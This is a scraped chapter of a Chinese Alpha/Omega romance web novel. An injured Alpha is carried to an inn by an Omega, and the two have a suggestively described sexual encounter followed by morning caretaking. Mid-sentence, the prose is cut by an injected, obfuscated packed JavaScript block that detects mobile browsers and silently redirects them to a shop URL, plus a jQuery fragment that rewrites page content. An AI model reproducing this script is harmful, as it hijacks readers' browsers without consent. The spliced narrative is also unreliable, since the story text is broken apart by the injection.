68.第68章

作品:《月上有只小白兔

    又谢过等在山下的老人,江暄伏在Alpha后背上,有一搭没一搭指着方向。


    “小白兔,还不可以睡。”


    耳边裴槐青的话被雪声裹成一团,融为天地间白噪音的一部分。


    许是天黑,温度降低的同时,雪也比先前大了些。细密的雪花纷纷扬扬地飘落,落在无人的小镇,也打在裴槐青的肩头。


    偶有这么几片雪花顺着江暄帽檐边留出的呼气孔落到鼻间,背上的Alpha就会像被惊扰的小动物,趴在后背拱着脸转个方向。


    鼻尖滑过后颈的皮肤,让Omega托着人的手紧上两分。


    又在听到耳边唔嘤声后小心翼翼放松。


    他抿着唇,就在他以为Alpha已经睡着时。


    “往左。”Alpha的声音响在后背。


    Omega的后背很舒服,羽绒服下的空间很温暖,即便这样,江暄也没法安然睡去。


    后颈的疼痛一阵一阵地袭来,牵连着所有流经腺体的血脉,拉扯着他的神经。江暄强忍着痛意,连意识在此等情况下都有些模糊。


    他的手指无意识地揪着裴槐青后背的衣物,布料被攥出深深的褶皱。


    以至于在走进旅馆时,江暄愣了几秒,才听着裴槐青的询问从口袋中掏出钥匙。


    裴槐青控制着力道,动作轻柔地将背后的Alpha稳稳放在床上。


    甫一接触到柔软的床铺,Alpha就蜷着身子把自己缩成一团。


    裴槐青拿起水杯的动作顿住,他想也不想,将Alpha从两层羽绒服下剥出来。


    脸颊因热气的熏蒸而泛起红色,Alpha的嘴唇却毫无血色。手指用力到指尖泛白,攥着裴槐青的羽绒服不肯松开。Alpha的脸色十分难看,裴槐青仿佛听到胸膛中随之乱掉的心跳。


    “哪里难受?”


    裴槐青的手悬在半空,左右试探着,最终轻轻落到Alpha的肩头。


    他没敢用力,只是收紧手指,微微捏紧手中突出的骨头,试图让Alpha睁开眼。


    裴槐青为什么会在这里呢,Omega为什么要来找他呢?


    江暄睁开眼睛,疼痛让他的注意力有几分涣散,也不知自己有没有表达清楚,他说自己腺体在疼。


    说出口的时候,Omega说要去找药,看上去倒是冷静,出门的时候却连羽绒服都忘了拿。


    “……衣服。”


    Alpha挤出的话在门响之后。


    房间里又恢复安静,后颈处的疼痛辐射状地四散开来,几乎影响了Alpha半具身体。


    还能动弹的手指,在尽量不牵拉到其他肌肉的状态下,慢慢循着脖颈爬,直到按住胀大发烫的腺体。


    半张脸陷在床铺中,Alpha几乎瞬间疼出了生理性的眼泪。


    泪水顺着眼尾滑落,打湿头下的被罩。


    发烫的腺体躁动着,毫无规律在颈间胀动。


    很疼。


    Alpha却在这样如潮水般一波接着一波的疼痛中,找回几分存在感。


    他不明白,为什么Omega不会等,为什么Omega要从那么远的地方来找自己。也不明白,为什么Omega会那样稳稳地托着他走一路,为什么Omega一副一定要和自己站在一起的模样。


    在过去几天无人的夜里,他辗转反侧最终也在疼痛中入睡。


    如今,他却在混乱的神思中连呼吸都错置。


    意识时而清醒时而模糊,恍惚间,他的指尖摸到些什么。


    很熟悉的形状,抖着手将东西拿到眼前,眯着眼睛的江暄看清手中物什的真模样。


    是小兔。


    和之前如出一辙的卡片。


    他这么一摸,就摸出来两三张。


    兔子左侧的树苗变得粗壮、挺拔,几乎占据页面的三分之一。


    粉红眼睛的兔子蹲在树下,歪着头正好奇地打量着。


    江暄的手指轻轻摩挲着卡片上小兔子的轮廓,在余下的卡片中看到在树下玩耍的兔子。


    树叶晃动着,献出自己最宝贵的树叶和枝丫,最大限度地满足有着重重好奇心的兔子。


    门外传来轻微的脚步声,裴槐青带着一身寒气拿着药回来的时候,正看到Alpha举着卡片。


    瞬间收回自己的目光,Omega快步走到床边,将药和水递到江暄嘴边。


    “小白兔,止疼药。”


    “……这是什么?”


    两人之间,正晃荡着一个玉雕兔子吊坠。


    裴槐青跑得太匆忙,这只兔子就顺着宽大的卫衣领口掉到江暄面前。


    “是小白兔。”


    举着杯子的人快要把药怼到江暄嘴边。


    脖子上的吊坠突然被拽住。


    “……是红色的。”


    这只兔子的眼睛是红色的。


    “我解下来给你——”裴槐青单手捏住药的同时稳稳托住水杯,生怕杯中的水晃出来掉到江暄身上。


    他别扭地跪在床上,因为脖颈受限,别扭地伸着脖子趴在床铺上。


    裹在羽绒服的Alpha躺在他身下,发丝四散,白得毫无血色的嘴唇和红意尚未褪去的脸颊带着几分脆弱。


    裴槐青反手扣着项链的动作越发急促。


    “我改主意了。”


    Alpha像是失去兴趣,忽然松开手心的兔子吊坠。


    手心的卡片被他重新塞回羽绒服的口袋中。


    Alpha咧开嘴,笑意攀升。


    “吻我。”


    他伸出一节舌尖。


    比周围颜色更深的舌钉洞在唇间若隐若现。


    江暄取掉了舌头上的舌钉。


    喉结上下翻滚,Omega很快别开眼神,右手晃动的水杯还在提醒着他此刻应该干些什么。


    “先、先吃药。”


    Omega舌头打结。


    不耐地蹙起眉头,Alpha的脸颊从羽绒服间又拔出来几分。


    他伸手拽住Omega的脖颈,只是轻轻一带。


    温热的水洒在床铺,止疼药在床上滚落,不见踪影。


    “止疼药没用。”


    Alpha的声音有点低,字音有些含混不清。


    屋子里热气蒸腾,才穿着单衣出门的Omega仿佛才反应过来冰火两重天的处境,他冻透的躯体还有一部分尚未回温,自下而上的热气席卷五脏六腑。


    强效抑制剂贴下的腺体猛涨,裴槐青喉间一动再动,空无一物的右手落在床铺攥成拳头。


    Alpha仍旧飘忽着音量,说话的气息吐在两人之间,深红的舌钉洞若隐若现,“所以,裴槐青,你要让我更疼。”


    裴槐青从来不能拒绝江暄,从来不能。


    蛰伏的猛兽张开肩膀,按照Alpha陷在衣物当中瘦削的肩膀,将


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845425|182881||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    Alpha整个罩在身下。


    左手向下,摩挲着Alpha因为疼痛无力蜷缩在一起的膝盖骨。


    没费什么力气,他撷住尚未退回去的软舌。


    同时,他挤进Alpha双腿之间。


    顾忌着Alpha的身体,空气中没有任何信息素随之逸散。


    相反,纯粹的、最原始的成熟男性的体温辐射开来。


    摸到肋骨的手掌还带着几分凉意,Alpha战栗着,被食髓知味的Omega搅得再没了起先之趾高气扬的模样。


    他仰着头,任由失去缰绳的Omega在他身上驰骋。


    在阳光照到身上之前,耳边有道声音,不停地唤着他。


    尚未睁开眼睛,意识复苏的躯体首先感觉到的,是身体各处反馈回来的痛意。


    在后半程,爽极的麻感中几丝痛意已经变得微不足道。


    以至于他今天才知道,Omega做到了,比腺体本身的疼痛更疼。


    怎么说都是自己要求的,眼睫微颤,从被褥中睁开眼的Alpha视线模糊一瞬。


    昨天,似乎是看到Omega身上有绷带来着——


    有一根手指,轻轻落在他的眼角,揩去晨起的泪水。


    早已穿好衣服的Omega站在床边,手里端着水杯。


    “喝口水。”


    竟然还知道照顾人了,江暄一边惊讶着一边后缩脖颈拒绝对方手中的水杯。


    他捂着自己的嘴,蹭着枕头摇头,“不刷牙不喝水。”


    “好吧。”


    Omega没有多坚持,随手将水杯放在床头。


    紧接着,在江暄闭上眼睛准备睡个回笼觉的瞬间——连人带被,Alpha就这么被抱进浴室。


    被放在洗手台上的时候,江暄还觉得自己在做梦。


    戳到嘴边的牙刷他下意识就含住了,直到牙刷开始动弹,他才意识到自己的手还在被子里。


    “别动,很冷。”察觉到他意图的Omega把松动的被子卷重新裹紧,他盯着手中在Alpha脸颊戳出尖头形状的牙刷,顿了几秒才继续道:“等我一会儿去隔壁帮你拿身衣服。”


    江暄这才发现,此刻在的浴室和先前他入住的那间刚好是对称结构。


    不是同一个房间,Omega还特地换了房间。


    不会吧——Omega竟然还知道照顾这些了?


    含着牙刷的人面上多出几分惊讶,他抬眼想看看自己面前的裴槐青还是不是原来那个裴槐青。


    “唔——”


    温热的洗脸巾罩上来。


    一掌盖住脸颊,手掌隔着洗脸巾在他脸上蹂躏起来。


    江暄只能把好奇暂且吞进肚子,像是第一天认识裴槐青,享受着这些亲密的照顾。


    人真的会变吗?


    盯着照顾自己穿衣服的裴槐青,江暄反复沉思。


    昨晚的行为只是疼痛下的一时兴起,他完全没有想好后续要怎么处理两人之间的关系。就先看到一个半新不新的Omega。


    Omega是二次进化了吗?


    江暄歪着头,从上到下、从下到上打量Omega,怎么看怎么觉得不可思议。


    “唔——”


    毛衣蹭地发疼。


    Alpha弓了下腰,就感觉到滚烫的手掌精准掌住他的肋骨,指腹按在疼痛处。


    “我帮你缓缓。”